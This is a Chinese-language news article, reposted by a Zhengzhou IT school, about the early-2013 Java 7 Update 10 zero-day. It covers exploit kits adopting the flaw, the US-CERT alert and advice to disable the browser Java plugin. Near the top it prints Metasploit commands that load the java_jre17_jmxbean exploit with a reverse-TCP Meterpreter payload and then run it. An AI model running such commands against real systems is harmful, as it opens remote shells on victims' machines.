新年初始，Java驚爆首個(gè)0day
11：00 UPDATE: MSF已更新相關(guān)滲透測試模塊
use exploit/windows/browser/ie_cbutton_uaf
use exploit/multi/browser/java_jre17_jmxbean set SRVHOST 192+168+178+26 set TARGET 1 set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192+168+178+26 exploit
sysinfo
getuid
詳細(xì)鏈接及視頻：
http://eromang+zataz+com/2013/01/10/java-applet-jmx-0day-remote-code-execution-metasploit-demo/
新年伊始，人們還沉浸在節(jié)日的歡樂氣氛中，Java又贈(zèng)送給大家一份豪禮，讓各位歡歡樂樂過個(gè)大年。日前，Java又爆了一個(gè)新的0day，可能讓攻擊者獲取計(jì)算機(jī)管理權(quán)限，Java 7 Update 10或更早的版本中存在該漏洞，該漏洞可以允許未經(jīng)身份驗(yàn)證的遠(yuǎn)程攻擊者在受害者系統(tǒng)上執(zhí)行任意代碼，該漏洞首先在‘Malware Don’t Need Coffee’博客上發(fā)表。
目前該漏洞在網(wǎng)絡(luò)有兩個(gè)EXP,分別出售價(jià)格為700美元和1500美元，在去年八月發(fā)現(xiàn)的CVE-2012-4681漏洞中使用的是類似的手法，查看地址。
兩個(gè)EXP被黑客用來傳播惡意軟件，國外著名的黑名工具包BlackHole Exploit Kit和Cool Exploit Kit已經(jīng)更新了該EXP。
BlackHole作者Paunch昨天在網(wǎng)絡(luò)公布，稱在BlackHole添加該JAVA 0day是送給軟件用戶的新年福利，經(jīng)AlienVault Labs確認(rèn)，BlackHole工具中使用的EXP證實(shí)為Java最新的漏洞。
US-CERT也發(fā)出了VU#625617預(yù)警。 未受信任的Java applet可通過調(diào)用setSecurityManager()函數(shù)提升權(quán)限，從而在沒有代碼簽名的情況下獲得 full privileges。
更多截獲到的攻擊樣本請見：
http://malware+dontneedcoffee+com/2013/01/0-day-17u10-spotted-in-while-disable+html
該漏洞影響分布圖如下：
目前建議只能禁用瀏覽器的Java plugin來防范該漏洞攻擊：
How to disable Java in Internet Explorer
How to disable Java in Firefox
How to disable Java in Chrome
文章由鄭州北大青鳥http://www.hnbenent.com/整理，轉(zhuǎn)載請注明！
本文由站河南北大青鳥校區(qū)整編而成，如需了解更多IT資訊類的文章、新聞、課程和學(xué)習(xí)技巧、就業(yè)案例、招生詳情等問題，可以對在線咨詢老師進(jìn)行一對一問答！
推薦資訊
- 2021年河南鄭州市單招計(jì)算機(jī)學(xué)校... 2019-02-24
- 沒有開發(fā)經(jīng)驗(yàn)，半年時(shí)間能否學(xué)會(huì)... 2012-10-13
- 鄭州北大青鳥翔天信鴿歌手大賽決... 2023-08-26
- 鄭州北大青鳥職業(yè)學(xué)院翔天信鴿校... 2019-04-02
- 鄭州北大青鳥有沒有軟件測試專業(yè)... 2016-04-25
熱點(diǎn)資訊
- 如何從外置硬盤中清除感染病毒... 2017-06-11
- 谷歌瀏覽器用戶密碼安全難保... 2017-06-11
- 網(wǎng)站安全性需要注意哪些方面... 2017-06-11
- Linux中服務(wù)器軟件為什么需要編譯... 2017-06-11
- 安卓隱患：防毒軟件無法偵測木馬... 2013-08-06
聯(lián)系電話：400-638-3521/
值班熱線：15225191462(手機(jī))
- 學(xué)校介紹
- 中心簡介
- 青鳥概況
- 乘車路線
- 校區(qū)環(huán)境
Copyright ? 2006-2025 All Rights Reserved. 版權(quán)所有
鄭州北大青鳥翔天信鴿軟件學(xué)院 地址：鄭州市文化路90號(hào)河南財(cái)經(jīng)政法大學(xué)文南校區(qū)1號(hào)教學(xué)樓 網(wǎng)站地圖 乘車路線 - 聯(lián)系我們 - 網(wǎng)站RSS - 河南北大青鳥招聘
豫ICP備10022989號(hào)-1 辦學(xué)許可證號(hào)：1601035000013 
豫公網(wǎng)安備 41010502002899號(hào)